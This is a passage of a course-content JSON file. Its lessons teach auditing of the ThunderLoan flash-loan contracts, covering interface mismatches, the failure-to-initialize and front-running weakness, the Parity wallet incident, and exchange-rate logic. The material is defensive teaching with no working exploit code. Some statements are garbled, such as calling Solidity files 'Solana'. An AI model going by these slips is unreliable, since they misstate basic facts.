realm of \"Tswappool.sol\".\n\n## The Intriguing Interface of TSwapPool\n\nAs we pulled up the \"Tswappool.sol\" file, it quickly became clear that the script was another interface in the ever-expansive Ethereum world, and the initial overview was rather promising.\n\nHere's a quick view into the key aspects of this interface:\n\n- `SPDX license Identifier`: Check. Good on this front.\n- `Pragma solidity`: All clear here.\n- `Interface TswapPool`: The main piece we're interested in.\n\nThe structure and organization of the script were clean, effective, and up to standards at first glance, which adds a tick on the checklist.\n\n### The Key Function: Get Price of One Pool Token in WETH\n\nThe heart of any interface lies within the crucial functions it employs. In TswapPool, we uncover a singular but significant function - `getPriceOfOneTokenInWETH`.\n\n![](https://cdn.videotap.com/AVRQTYRhhg4lDMb4rQM4-43.2.png)\n\nUsing this function, the interface ends up working with TSWAP quite seamlessly. So kudos on the smart use of simplicity guided by functionality!\n\n#### But Why Only One Function?\n\nWhile everything else falls perfectly into place, a peculiar aspect emerges. The existence of only one function in the interface raises the question, \"Why is the price of pool token in WETH the solitary functionality being implemented here?\"\n\n> \"Why is the `getPriceOfOneTokenInWETH` function the only one in this interface?\"\n\nThis question remains open-ended for now and forms an essential part of understanding and further exploring the purpose and design of this interface.\n\n## It's a Check!\n\nMinus the above question, scrutinizing the 'Tswappool.sol' interface looks predominantly positive. Both the syntax and architecture of the coded script meet the expected standards.\n\nLiving up to the 'Tincho method' philosophy, which advocates for the clarity and optimization of code, the TswapPool interface easily garners a big shiny check ✓!\n\nIndeed, code reviews especially with the Tincho method in our toolkit, feel deeply satisfying when met with such well-structured and cleanly scripted interfaces.\n\nAs we come to the end of our review, remember that understanding scripts isn't just about putting checks on a list, but about appreciating the complexity coded into simplicity and the team spirit built into community standards.\n\nReviewing the `Tswappool.sol` interface was a pleasure. Here's to many more engaging dives into the intriguing world of Ethereum and blockchain development!\n", + "updates": [] + }, + { + "lessonId": "2fd9c1c0-5353-4d44-acd7-c33062f816e2", + "number": 17, + "title": "IThunderLoan", + "slug": "ithunderloan", + "folderName": "17-ithunderloan", + "description": "", + "duration": 3, + "videoUrl": "33VDcKF5DO2IS6By1z0100S017z99vM3DkWaEuH747NflI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/17-ithunderloan/+page.md", + "markdownContent": "---\ntitle: IthunderLoan.sol\n---\n\n\n\n---\n\n# Unearthing Bugs and Enhancing Interfacing in ThunderLoan Protocol\n\nIn the overlapping maze of smart contracts and blockchain protocols, it's critical not to miss any threads. You can uncover this through a methodical analysis of the mechanism layer by layer, as demonstrated with ThunderLoan protocol.\n\n## Unraveling the ThunderLoan Contract\n\nThe journey begins with taking a peek at the IThunderLoan interface we have been investigating. Here, the classic `ThunderLoan` contract caught my eye. As the usual procedure goes, we need to tackle a crucial question – \"Does `ThunderLoan` implement the `IThunderLoan`?\"\n\nIn this case, the `ThunderLoan` contract doesn't implement `IThunderLoan`. This might seem odd at first, but it could perhaps be an informational point from an auditing perspective. Intriguingly, the `IThunderLoan` interface should ideally be carried out by the `ThunderLoan` contract. An interface is a valuable tool in programming, it acts as a guideline to developers, ensuring that they don’t leave out any critical functions.\n\nNow, if the contract isn't implementing the interface, it's time to delve deeper into the details and discrepancies that might crop up in such cases. Let's compare the two closely and see if they're actually different.\n\n![](https://cdn.videotap.com/Bft86JEs1cIqjxRo4BZq-39.92.png)## Scrutinizing the Repay Function\n\nKeeping a sharp focus on the `repay` function, we can see that it accepts a token, an address, and an amount. If we dig into the `IThunderLoan` interface, we notice this function takes an `IERC20` token and an address amount.\n\nUpon a detailed observation, this presents a peculiar situation – the `IThunderLoan` and `ThunderLoan` contract parameters are not only different, but they contradict each other, creating grounds for an issue. Just imagine scenarios where the `repay` function is expecting an `IERC20` token, but it receives an address token; the resulting confusion could cause the process to break!\n\nNow, when we try to import the `IThunderLoan` and inherit it into `ThunderLoan` in Visual Studio Code, and if we save it, it says _\"ThunderLoan should be marked abstract because it doesn't implement this `repay` function.\"_ This issue would have been caught easily if best practices had been followed and the auditing information had been put into use.\n\nFurther, when the forge build is actioned, it doesn’t compile. This draws our attention back to the different parameters of the `repay` function.\n\n> \"Stacking up both the interfaces side by side, in the `ThunderLoan` contract, the `repay` function is clutching an `IERC20` token and a `uint256`, whereas its counterpart – `IThunderLoan` is nesting an address token and an amount.\"\n\nThis makes it clear that these two are not singing in harmony, creating the need for amendments where necessary.\n\nABOUT THE AUTHOR: This auditing journey showcases the significance of in-depth code investigation in contracts and interfaces. It provides insights into the potential complexities that might arise in coding and software development. It’s a concrete reminder of how seemingly insignificant details can crop up to create considerable confusion in function implementation and can carry far-reaching consequences if overlooked – prominently, in smart contracts and blockchain protocols.\n\n### Unraveling Code Rubrics, One Function at a Time\n\nIt's time to retract the changes made and run some `command z's` to restore the code. Here lies an opportunity to leave a note to remind that the referenced interface should be implemented. This attention to detail can be tagged as either low or informational. These tags would depend on the possible future risks; it would probably be informational if the address token doesn't pose much of an issue. But it’s definitely something that demands further investigation.\n\nIn essence, it’s crucial that accurate information is included in the report. So what at first glance looked like an odd piece of code, presented us with a whole other issue to dive into, and that's another feather in our problem-solving cap!\n\nThrough this auditing adventure, we were able to uncover multiple discrepancies and enhance uniformity in the interfacing processes.\n\nLet’s keep this journey of code analysis ongoing - one function, one issue at a time. We may find the codebase exhausting at times, but as we unravel the layers, it's definitely rewarding for the meticulous code investigator.\n", + "updates": [] + }, + { + "lessonId": "3f456769-0a89-4ae3-983f-f881a20e3d44", + "number": 18, + "title": "IFlashloanReceiver", + "slug": "flashloan-receiver", + "folderName": "18-flashloan-receiver", + "description": "", + "duration": 7, + "videoUrl": "dpk00F5e5kJZmDdKrppCF1j9jyxzvx6SFe7J001M01oPRI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/18-flashloan-receiver/+page.md", + "markdownContent": "---\ntitle: IFLashLoanReceiver.sol\n---\n\n\n\n---\n\n# Deep diving into Flash Loan Audits\n\nGoing through audits especially when it involves assert checking can be a bit of a challenge even for seasoned programmers. Today, we will be looking into **IFlash Loan Receiver** contracts, finding out potential loopholes and code clean ups that we can perform to ensure our contract is as secure and tight-knit as possible.\n\n![](https://cdn.videotap.com/nmh2iNPnadGsdWNfaTx7-13.81.png)## Understanding the Flash Loan receiver contracts\n\nA quick look at our code shows that we use a lot of import statements like `import IThunderLoan from ../IThunderLoan`. Now it might seem okay to import libraries and classes that we might not really use directly in our codebase, but there's reason to trim down on that. Let's delve in.\n\nWhile this line of code might seem harmless initially, closer inspection reveals that we don't really need to import this. Why is it there? One may think there could be an underpinning connection by another class or component. So let's try to find out where exactly this particular import is being utilized.\n\nUsing the handy keyboard shortcut **Command Shift F** (or Control Shift F for Windows) in Visual Studio, we can quickly locate where `IFlashLoanReceiver` file is and where `IThunderLoan` is being imported.\n\nTo our surprise, we found out that `IThunderLoan` isn't imported or used anywhere in the `IFlashLoanReceiver`. So it begs the question, why is it there?\n\n## Cleaning Up Unused Imports\n\nWhile it's tempting to leave unused imports like this in your code (who knows, you might need it later, right?), this could be seen as bad practice in general. This is largely because it makes the code harder to read and understand, especially for new people coming onto the project and also, it could introduce potential security risks.\n\nWe went ahead to comment out the `IThunderLoan` import to see if anything breaks. Running `forge build` in the terminal, we confirmed that, indeed, we didn't actually need this import.\n\n> **Note:** It's a fundamental principle of smart contract engineering to avoid altering live codes for test mocks. Hence we need to remove the import from `MockLoanReceiver.sol`.\n\nAfter removing the redundant import, our build is still in great shape, and we've made our project slightly cleaner and easier to understand.\n\n## Exploring Flash Loan mechanics with Aave\n\nWith the code cleaned up, we now shift focus to understanding some foundational concepts. Looking at the Flash Loan receiver contracts available on [Aave](https://github.com/aave), we realize that the implementation here is somewhat similar to what we have in our own codebase. The perfect opportunity to learn!\n\nHere's a snippet of the Aave code we were going through:\n\n```js\nfunction executeOperation(address _reserve,uint256 _amount,uint256 _fee,bytes memory _params)external returns (bool);\n```\n\nThis part of the code piqued our curiosity. We came up with some assumptions about what each parameter might be doing:\n\n- `_reserve` could be the token being borrowed.\n- `_amount` probably is the amount of tokens.\n- `_fee` seems like it could be the fee of the Flash loan protocol.\n- `_params` could likely be the callback function.\n\nAt this point, the code isn't elaborating on what these parameters are doing (a big shoutout to @audit for the Nat spec!), so we will need to do some more digging to find out.\n\n> **Quote:** \"A big part of becoming proficient in contract auditing involves making well-educated guesses and then verifying those guesses.\"\n\nAs we are going through the process, we find that the `executeOperation` is implemented in the `ThunderLoan.sol` which on running looks sufficiently secure.\n\n## Wrapping Up and Taking Breaks\n\nWith this deeper understanding, we actually managed to find some informationals that we can pass on to our client - which, at the end of the day is what it's all about: making the protocol safer, more successful, and better. And let's not forget, adhering to best practices in engineering.\n\nDuring this audit process, don't forget to take breaks! Applying the Pomodoro technique helps maintain focus, where one works for about 50 minutes and then takes a break for 5-10 minutes.\n\n**And there you have it, folks! Remember, keep your code clean, follow good engineering practices, and always, always remember to question everything. Happy auditing!**\n", + "updates": [] + }, + { + "lessonId": "40862597-8a81-4c01-b2a7-8a316236b940", + "number": 19, + "title": "OracleUpgradeable", + "slug": "oracle-upgradeable", + "folderName": "19-oracle-upgradeable", + "description": "", + "duration": 5, + "videoUrl": "dScx48n2ImjtOfzadSAaazduEiHd00WBV5dyXUAJMLho", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/19-oracle-upgradeable/+page.md", + "markdownContent": "---\ntitle: OracleUpgradeable.sol\n---\n\n\n\n---\n\n# Understanding the Tincho Method: A Deep Dive into Solana Smart Contract\n\nIn our previous discussion, we were introduced to the Tincho method. Thanks to its creator, Tincho, it gave us more confidence in creating our first Solana smart contract. Now, let's dive deeper into this journey and breakdown the necessities of preparing a Solana smart contract with a hand on codebase.\n\n## A Look at the Codebase\n\nFirst, navigate to the Solana `.sol` file. It's our initial contract. It may seem small, but it's our first step into the universe of smart contracts. So let's explore what its components are. If you are not familiar with Solana or `.sol` files, you may find it easier to use 'Word Wrap' function to easily view the code.\n\nWith the 'Word Wrap' enabled, we can see some keywords like `pragma` and `solidity`. There are also several imports, such as `it swap pool`, `Ipool factory`, and `initializable` which are being used within the same contract.\n\n## The Role of Initializable\n\nNow, let's take a more in-depth look at the `initializable` package. It originates from OpenZeppelin, more specifically `OpenZeppelin contracts Upgradable`. As the name suggests, it aids in writing upgradable contracts and will be crucial to our understanding due to its role in proxy elements.\n\n> OpenZeppelin's `initializable` package plays a significant role in Solana smart contract creation. It makes it possible to construct complex contracts that are easily managed and upgradable. It is imperative to understand its functionality and how it interacts with other elements in the smart contract.\n\n## Understanding Proxy in Solidity\n\nNow, let's navigate our way to Thunderloan.sol contract. Here, we will come across `Oracle Upgradable`, which is inherited into the main Thunderloan contract.\n\nThe `Oracle Upgradable` contract is a part of the main `Thunderloan` contract. It's a base contract facilitating upgradable contracts or contracts deployed behind a proxy. To get more comfortable with this concept, it's important to understand proxies and their use in Solidity.\n\nIf you take a look at the Nat spec (Natural Specification), you'll learn that upgradable contracts can't have constructors. The reason is, in an upgradable contract the storage is delegated to the proxy, but the logic resides in the implementation.\n\nHere is an important takeaway:\n\n> A contract's storage variables live in the proxy contract, while the contract logic lives in the implementation contract. Therefore, making use of constructors to initialize storage variables isn't applicable.\n\nIn order to circumvent this issue, the `initializable` contract comes into play. Instead of constructors, you have initializer functions that help initialize proxies with storage. For instance, in OpenZeppelin contracts, you will find initializer functions signified as `__Init` and `__Initunchained`.\n\n## Decoding Oracle Init\n\nNext, we have `Oracle Init` which is our initializer. It calls `Oracle Init Unchained` that takes a `pool factory address`, a `TSWAP address`, and another `pool factory address`.\n\nOur initializer function, `Oracle Init`, calls another function, `Oracle Init Unchained`. This function has a parameter `only initializing` which restricts the function to be called only one time.\n\n(Here's a piece of convention information: I suggest changing the name `TSWAP address` to `pool factory address` for better consistency. Just something to note if you are auditing the contract.)\n\nIn simple terms, the entire setup here is to initialize the contract's state because we are using a proxy model where a constructor is not applicable. Now that we've successfully dived into the codebase and demystified key concepts, our Solana smart contract is ready for deployment!\n", + "updates": [] + }, + { + "lessonId": "4c23d2c2-a3c7-4303-b5a7-7e0736abb8df", + "number": 20, + "title": "Exploit: Failure To Initialize", + "slug": "failure-to-initialize", + "folderName": "20-failure-to-initialize", + "description": "", + "duration": 3, + "videoUrl": "PBPuXLJ6QH7F75S7iVFz6FqctiT2TTVhE3TxkePo3fE", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/20-failure-to-initialize/+page.md", + "markdownContent": "---\ntitle: Exploit - Failure to Initialize\n---\n\n\n\n---\n\n# Unmasking a Major Pitfall in Smart Contracts: Initialization Vulnerability\n\nHello code enthusiasts and blockchain fans! Today, I want to share with you my recent findings while perusing the Thunderloan smart contract. For the uninitiated, smart contracts are self-executing contracts that live on the blockchain. They are primarily used to enforce agreed-upon rules without requiring the presence of third parties.\n\n## The Constructor in Smart Contracts\n\nLet's delve into a peculiar problem I've observed multiple times - particularly concerning initializers. As someone who has been doing this for quite a while, I've developed an instinct for catching certain risks. While examining Thunderloan's `initialize()` function, I knew I had stumbled upon an interesting issue.\n\n![](https://cdn.videotap.com/OpjaMfHKQ2Zje0pNKhzI-13.95.png)\n\nLet's break down what an `initializer` is. This method is essentially replacing the traditional contract `constructor` as a setup function in contracts. It serves to initialize contract parameters when the contract is deployed.\n\n## The Vulnerability: Front-running Initializers\n\nWhat could possibly go wrong with this, you may wonder? I'd like to pose a question: What if we deploy a contract and someone else gets to initialize it before we do? In other words, what if another person jumps the queue and sets the essential contract parameters prior to our initialization?\n\nThis is akin to someone else picking up your rental car and setting the GPS addresses before you even get the keys!\n\nTaking this potential scenario into consideration, it becomes clear why 'initializers being front-run' have often been flagged in audits as low-risk vulnerabilities.\n\n```\naudit('low', 'initializers can be front run');\n```\n\nImagine you have deployed a contract and forgotten to call the `initialize()` function. The scammer in our scenario notices this, exploits the vulnerability, and changes the `TSWAP` (Token Swap) address before you. The entire contract ends up being skewed towards this malicious user's benefit.\n\n## The Result of the Attack\n\nSo, what happens to the contract we just deployed? If the contract hasn't been initialized, it will likely malfunction or fail to work as smoothly as intended.\n\nFor instance, within the Thunderloan contract, if the `SPoolFactory` (smart pool factory) is not initialized, the `getPrice()`, and `WETH()` function calls may instead invoke the Ethereum null address, leading to unexpected behavior.\n\n```\nif (!initialized) {getPrice() --> address(0)WETH() --> address(0)}\n```\n\nThis scenario emphasizes the critical importance of ensuring initialization. Without it, the protocol ends up under-performing or in worse scenarios, completely breaks.\n\n## Mitigation: Keeping it Tight and Right\n\nIdentifying the problem is half the task. Knowing how to prevent it, however, is the real deal. How do we solve this initialization front-running problem in our contracts? It can be slightly tricky, and the best practice to ensure your contract's safety is actually quite simple - automate the initialization during deployment.\n\nBy automatically calling the initialize function during deployment, developers can reduce the risk of forgetting to manually trigger it post-deployment. This tactic not only ensures that all contract parameters are set as soon as the contract is deployed, but it also provides a consistent testing and deployment flow.\n\n## Conclusion\n\nDespite `initializers` being flagged as a low risk, they pose an architecture flaw that can easily be exploited if left unchecked. As blockchain developers, we need to not only write rock-solid smart contracts but ensure they're thoroughly tested and deployed without leaving potential loopholes for others to exploit.\n\nAnd to the auditors out there, next time you come across an `initializer`, remember:\n\n> \"An initializer, though small, can cause great wreckage.\"\n", + "updates": [] + }, + { + "lessonId": "875535af-67e2-4d0f-9a4b-2a043ad2b20e", + "number": 21, + "title": "Failure To Initialize: Remix", + "slug": "failure-to-initialize-remix", + "folderName": "21-failure-to-initialize-remix", + "description": "", + "duration": 2, + "videoUrl": "Xh00ZispxghC01TQHMyym00026COmnCn5ygOKWvjKs81w4Y", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/21-failure-to-initialize-remix/+page.md", + "markdownContent": "---\ntitle: Exploit - Failure to Initialize - Remix Example\n---\n\n## Let's Play: Exploring the Issue in Remix\n\n[Remix](https://remix.ethereum.org/) et's compile and deploy a sample SC simulating the 'failure to initialize' flaw.\n\n![](https://cdn.videotap.com/HhYH7vlvKZcgQ2YeBn5v-29.77.png)\n\nFollowing successful deployment, you will find several functions. Initiating the `initialize` function will initially return `false` since, with nothing preset, the value is logically zero.\n\nHowever, if we forget to officially initialize our variable and start incrementing the not-yet-existent element (say 4-5 times), it would start registering those values. We can then observe that my value has progressively increased with each increment, despite having no explicit initial value.\n\nHere's the kicker - if you now stumble upon the error and initialize the element (say, with 123), an anomaly occurs. Instead of adding to the increments, the value is completely overwritten with the initialized value. In our case, my value resets to 123, disregarding all prior increments.\n\n> **Note**: Remember that a correctly built `initialize` function should have protection against subsequent initializations, to prevent overwriting of any pre-existing data.\n\n## Proactive Measures and Further Exploration\n\nThe aforementioned problem can be prevented by ensuring initialization prior to interaction with a contract. This might seem insignificant, but in the world of coding, minor details can influence the major outcomes.\n\nLet's conclude with a suggestion - why not challenge yourself with the capture-the-flags exercise available on the repository? It might provide an interactive environment for understanding the problem better.\n\nTo explore further on this issue, head back to the associated Github repository.\n\nAnd that's it folks, the overlooked yet crucial issue of 'Failure to Initialize' in the realm of SC exploits. I hope this post offers you meaningful insights and may your journey in the world of programming be devoid of such pitfalls!\n\nHappy Coding!\n", + "updates": [] + }, + { + "lessonId": "198f16fc-ba92-4b30-aa7d-74d507193315", + "number": 22, + "title": "Case Study: Failure To Initialize", + "slug": "failure-to-initialize-case-study", + "folderName": "22-failure-to-initialize-case-study", + "description": "", + "duration": 3, + "videoUrl": "qEZ600bi01W3vprQBwXGT101w2LAsgKvl01bZzjS028JHgtQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/22-failure-to-initialize-case-study/+page.md", + "markdownContent": "---\ntitle: Exploit - Failure to Initialize - Case Study\n---\n\n# Failure to Initialize: A Lesson from Smart Contract Exploits\n\nIf you've ever dabbled in the realm of smart contracts, you may be familiar with an infamous exploit called \"Failure to Initialize.\" This notorious event unfolded in the Web Three Ethereum Ecosystem, involving a GitHub issue that potentially devastated the contract behind the Parity Wallet. It serves as a harsh reminder to all smart contract developers to initialize their contracts properly, or risk catastrophic failure.\n\nIn this blog post, we'll dissect the event and analyze the lessons learned. This way, we aim to prevent a similar misstep from reoccurring in our own projects or those of others.\n\n## The Initial Issue\n\n![](https://cdn.videotap.com/OY6Xn3YTnnAcgF4AnFtX-17.09.png)The tale starts with an innocent-looking [Git issue](https://github.com/paritytech/parity-ethereum/issues/6995) submitted to the Parity Wallet. Someone had unintentionally \"killed\" the contract - a possibility they were unaware of until it happened. This shocking event triggered a cascade of errors that brought to light a serious vulnerability in the smart contract.\n\nThe Etherscan transaction associated with it confirms the event. When we navigate down to the transaction details, click \"Show more,\" and decode the input data, we can see the parameters they entered when they accidentally invoked the contract's kill function.\n\nThe user was merely experimenting with the contract — not anticipating that their \"play\" would cause such devastation. They had overlooked a significant precaution in the preparation: initializing their initializer function.\n\nTragically, the initializer, which was initially neglected, was later invoked. This act inadvertently caused the breakdown of a contract hosting a considerable sum. It's a tale that triggers despair among developers and serves as a potent reminder: **Never forget to initialize your contracts**.\n\n> \"Initialize your initializers. This might seem like a simple step, but one oversight can cause catastrophic consequences for your contracts.\"\n\n## Lessons You Should Carry\n\nWhat enlightenment can we glean from this unfortunate event? Well, it screams out the need for initialization. It also raises questions about potential methods to ensure initialization is never omitted, like incorporating it into a deployment script or implementing a parameter that blocks the rest of the system from interacting until initialization has occurred.\n\nWhile we are discussing potential solutions, it is crucial to note that merely attaching a “onlyInitialized” modifier to functions won’t cut it. This strategy is often ignored by developers who are looking to save on gas fees. However, the primary concern here is to guarantee initialization, irrespective of how it is achieved.\n\nIn the dissected smart contract, there were no blockers placed to prevent interaction with the contract until initialization was complete. This absence is a glaring shortfall needing rectification.\n\nRemember, **initialization can be front-run**. It's vital you put mechanisms in place to prevent such actions from happening, which might wreak havoc akin to the Parity Wallet incident.\n\n## Remember This Tale\n\nThis event, classified under the infamous hack, is widely known as \"Failure to Initialize\". To avoid facing this unfortunate situation, get familiar with the case study, and make sure to initialize your initializers appropriately.\n\nWith the constant evolution of the Ethereum ecosystem, it's crucial to learn from our predecessors' missteps. Let this serve as a lesson to you: Pay attention to initializations, or you might accidentally \"kill\" something you didn't intend to.\n\nThe dark tale of this smart contract mishap should remain a beacon guiding you away from similar pitfalls. It's a call to ensure attentive and thorough development processes, bearing in mind that one small oversight can lead to the interruption of an entire system.\n\n> \"Even the smallest oversight in a contract can lead to the destruction of the entire protocol. Understanding the importance of the initialization steps is critical. Remember, don't let a similar fate befall your contracts.\"\n\nAnd lastly, let the grim tale of \"Failure to Initialize\" remind you: it's wiser to prevent than lament.\n", + "updates": [] + }, + { + "lessonId": "0436b816-136a-46c2-9614-c8ce9483128b", + "number": 23, + "title": "OracleUpgradeable Continued", + "slug": "oracleupgradeable-continued", + "folderName": "23-oracleupgradeable-continued", + "description": "", + "duration": 4, + "videoUrl": "vnQoMafObsu1DgT01laAf0102BcTD88d6AV5DYH2BCz5Qg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/23-oracleupgradeable-continued/+page.md", + "markdownContent": "---\ntitle: OracleUpgradeable.sol (Continued)\n---\n\n# Oracle Upgradable: A Thorough Review\n\nWelcome back, Code Critiques! We’re continuing our journey through the world of blockchain programming and today, we're examining the Oracle Upgradable back-end.\n\n## When It Gets Interesting - getPrice in WETH\n\nOne striking feature that piqued our interest is the `getPrice in WETH`. It is an external public view. Here’s how it works:\n\n- An address swap of pool tokens is initiated.\n- A specific token is passed through, utilizing the command `Ipool_factory_s_pool_token`.\n- To round this up, `Getpool pool` is then invoked, which is where `get pool tokens` comes in.\n\n![](https://cdn.videotap.com/wbYYfuMAg04eG7LYpZp8-48.15.png)\n\nTo be put simply, we capture the pool swap token, call on `getPrice of one pool token in WETH`, and voila!\n\nInterestingly, this entire process could be completed sans any knowledge of TSWAP. We could still continue with our security review and audit, completely ignoring TSWAP. That being said, it invariably adds value to understand the inner workings of TSWAP.\n\n> If we can identify a loophole or break in this function on TSWAP, it could potentially lead us to finding cracks in Oracle Upgradable as well.\n\nIn essence, whenever we invoke an external contract, one should instantly scan for attack vectors. Questions to ask include: could the price be manipulated? Is there potential for reentrancy attacks?\n\n## The Mystery of TSWAP\n\nHaving explored the intriguing aspects of getPrice in WETH, let's unravel TSWAP. Within TSWAP, the main operational functions appear to be `getPrice of pool token in WETH` and `getPool`.\n\n![](https://cdn.videotap.com/5cZTXH0KnXV4ii8uCDjE-96.3.png)\n\nTo an unskilled eye, it might seem as though the getPrice command redundantly repeats itself. That might be true. Nevertheless, it is doing two distinctly separate tasks — it computes the output amount based on an input utilising reserves to ascertain the asset price and pulls out the pool.\n\n## Tests Evaluation\n\nNow let's move to testing, using `units thunderloane test sol` or `Oracleupgradable sol`. If we individualise each point, we can see they are using a mock pool factory for interaction.\n\nUpon closer examination, we can ascertain they are using constraints, which might be a potential issue. An audit informational note would be to recommend them to use forked tests for live protocols.\n\nWhy you may ask? Forked tests simply offer higher guarantees of successful operation.\n\n![](https://cdn.videotap.com/fEeOEcrvj5RmWqYZn9Sd-128.4.png)\n\n## Attack Vector Investigation\n\nLet's take potential attack vectors as an example.\n\nThe `getPrice in WETH` function poses few directly observable issues. However, as we dig deeper, doubts start to emerge. What if someone could break this function? Could the priveleges be misused?\n\nA seemingly harmless function like `getPool, factory address` also needs to be observed closely. On the surface, it looks quite uncomplicated, with a private variable being used to extract the address — all good so far.\n\n## Initializer Front Run – A Possibility?\n\nNevertheless, while reviewing the `getPrice in WETH` function, we stumble upon an issue - the possibility of initializer front runs. Although in competitive audits such threats are usually overlooked, protocols still need to be warned of this possibility.\n\nRemembering the infamous attack: What delicate maneuvers are being employed to ensure there's no front run?\n\n## Wrapping it Up\n\n![](https://cdn.videotap.com/4CT0yiquS1CTN2jjVFe4-176.55.png)\n\nOur intense review journey culminates here, having done a fairly comprehensive review, exploring the Oracle Upgradable in its entirety, bringing potential lows to light, such as the chance of initializer front-runs.\n\nBut nonetheless, completing yet another successful review delivers a sense of accomplishment. And so, Oracle Upgradable – ticked off and aced!\n\nOur checklist continues to shorten. Stay tuned for the next fascinating code critique in our series. Happy coding!\n\n> \"Security is a process, not a product. Let's continue this journey together!\"\n", + "updates": [] + }, + { + "lessonId": "e5fa2499-e153-4854-8391-1dd83033c999", + "number": 24, + "title": "AssetToken", + "slug": "assettoken", + "folderName": "24-assettoken", + "description": "", + "duration": 10, + "videoUrl": "9vg9eb8orNC2U3VNkpkvJOLfSzRiPC8TPu26uuqIU400", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/24-assettoken/+page.md", + "markdownContent": "---\ntitle: AssetToken.sol\n---\n\nIn today's lesson, we will dissect and understand the process and chronology of AssetToken.sol while simultaneously attempting to reduce the complexity of this unwieldy 129-line monster code. We will be following the analysis methods of one of the smart contract industry's finest - Tincho.\n\n![](https://cdn.videotap.com/ymeUVPEJfTmzpyvsbUJU-38.26.png)\n\nAlthough the enormity of the code may make the checklist seem redundant, it is essential to understand that this seemingly lightweight tool can provide both structure and context, serving as a roadmap when trudging through unknown territories of the code.\n\n## Tackling AssetToken.sol Line-by-Line\n\nEagle-eyeing the checklist we realize that we have revealed another checkmark, indicating we are ready to plow into AssetToken.sol. As we delve deeper, the checklist will begin to take a back seat, but remember, it remains an invaluable tool to grasp the overall context and provide a starting point for understanding the essence of these components.\n\n### Thunderloan Digitization\n\nThunderloan serves as an apt milestone in our journey. We will first scour Thunderloan, before advancing to its upgraded version. The sequence may seem counterintuitive due to the contracted length of its upgraded edition. However, a profound understanding of the current protocol is instrumental in discerning the necessities for upgrades. The supposed 327-line-dependent code may differ drastically, but only time will tell!\n\nNow, let's proceed to dissect AssetToken.sol. It exemplifies the receipt role in our smart contract. It enables liquidity providers to deposit assets into Thunderloan, in return for asset tokens. The accumulation of interest over time is influenced by the number of people who borrow flash loans.\n\nBorrowing our previous Flash loans example, consider a whale who deposits money into a Flash loan contract. In return, they receive shares or a token representative of the money they've placed in the contract. This share-token accrues interest based on the flash loan borrowers' fees.\n\nThe role of Open Zeppelin's ERC20 here needs special mention. It provides an interface and a wrapper around ERC20 operations that would typically fail if the token contract returned false. The wrapper, aptly named Safe ERC20, serves as a fail-safe for erratic ERC20s, throwing on failure to prevent compromising the entire operation.\n\n## Unveiling Asset Token and Shares\n\nAs we dig deeper, mining further insights from the wall of text, a pattern begins to emerge. The term \"underlying\" in the code seems to refer to USDC, whereas the \"asset token\" is linked to the pool's shares. Depositing USDC gives you pool shares proportionate to the exchange rate defined within the contract.\n\n> \"For instance, if we have two shares and the exchange rate is two to one, we can exchange our two shares for four tokens.\"\n\nHow they calculate the exchange rate mirrors the workings of Compound Finance, underlining the deliberateness in the design. If we can master understanding the contract's innards, unraveling the rest of the mysteries becomes a breeze.\n\n### Side Quest into Compound's Territories\n\nAt this juncture, it might be advantageous to wander into the realm of Compound, discern how it functions and sift out any potential issues. Familiarity with similar protocols can empower us in our mission to secure this contract.\n\nHowever, we won't be trailing down this path today. It is, nonetheless, a recommended sidequest to undertake at some stage. Try writing a concise, understandable article explaining the working protocol of Compound, or even the comparable Aave.\n\n## Tracing the Exchange Rate Pattern\n\nReturning to our original predicament, we bump into our exchange rate again, causing us to raise an eyebrow. This instance hints at a potential bug spot in our code.\n\nThe next issue arises during the creation of new asset tokens or shares. Minting new asset tokens conducts an access control check to confirm the caller is the Thunderloan contract.\n\n> \"This begs the question, could an attack vector appear that allows an attacker to call mint from the Thunderloan contract when they shouldn't?\"\n\nIn the same vein, burning existing asset tokens or shares runs a similar check. Our questioning spirits seek an answer from the code. Could non-standard, \"weird\" ERC20s wreck havoc in our methods - Safetransfer? And more specifically, what if USDC decided to blacklist contracts (like thunder loan or the asset token contract)? A medium to low priority question but worth a nod.\n\n### Minting New Conclusions\n\nWrapping up our intricate dissection of the code, we are left with relevant questions that will guide us down the path of systematizing a secure, functional protocol. As we remain vigilant, aiming to decipher the mysteries of our smart contract, let us head over to the next complex labyrinth- Thunderloan.\n\nIn the coming blog posts, we'll continue to explore potential security vulnerabilities, unravel other intriguing aspects of this code, and hopefully unlock more mysteries of smart contract security reviews. So, stay tuned and keep reading.\n", + "updates": [] + }, + { + "lessonId": "a0f06f3b-c211-4369-9667-636f39d1cb0a", + "number": 25, + "title": "AssetToken: Update Exchange Rate", + "slug": "asset-token-update-exchange-rate", + "folderName": "25-asset-token-update-exchange-rate", + "description": "", + "duration": 6, + "videoUrl": "bgmtCLets91K6QuBooY1r5RcIslnzXZLYqRmZPCLJUg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/25-asset-token-update-exchange-rate/+page.md", + "markdownContent": "---\ntitle: AssetToken.sol - updateExchangeRate\n---\n\n## The Function: Update Exchange Rate\n\nLet's dive into a seemingly vital function called `updateExchangeRate()`. The comments clarify that it obtains the current exchange rate (#1) and computes it by dividing the fee size by the total supply. An intriguing remark states that the exchange rate should consistently increase—never decrease—an invariant principle at work. **But why should this exchange rate always escalate and never decline?**\n\n**CODE BLOCK HERE**\n\nAs we delve deeper, we set:`newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply`.\n\n![](https://cdn.videotap.com/gi422wVmQ3SFrgJrvlSw-84.97.png)\n\nAs we break down how this formula functions:\n\n- If the old exchange rate is 1,\n- The total supply of asset tokens is 4,\n- Fee is 0.5,\n\nComputing ((4 + 0.5)/ 4), we result with a new exchange rate of 1.125. From this, it seems that `updateExchangeRate()` is likely responsible for updating the asset tokens' exchange rate to their underlying assets.\n\nTo illustrate, imagine this hypothetical scenario where a whale deposits or withdraws shares. The amount that gets deposited or withdrawn hinges upon the exchange rate, which can change, presumably having something to do with the fee. In a scenario where the exchange rate is two to one, if a user were to deposit $1,000, they would receive 2000 asset tokens in return.\n\n**But why are we updating the exchange rate?**\n\nLet's revisit the above formula: What happens if the total supply is zero?As per the formula, `S exchange rate starts at 1 * 0 + let's say the fee is zero divided by zero`, the computation breaks. Would this pose an issue? Could there be a 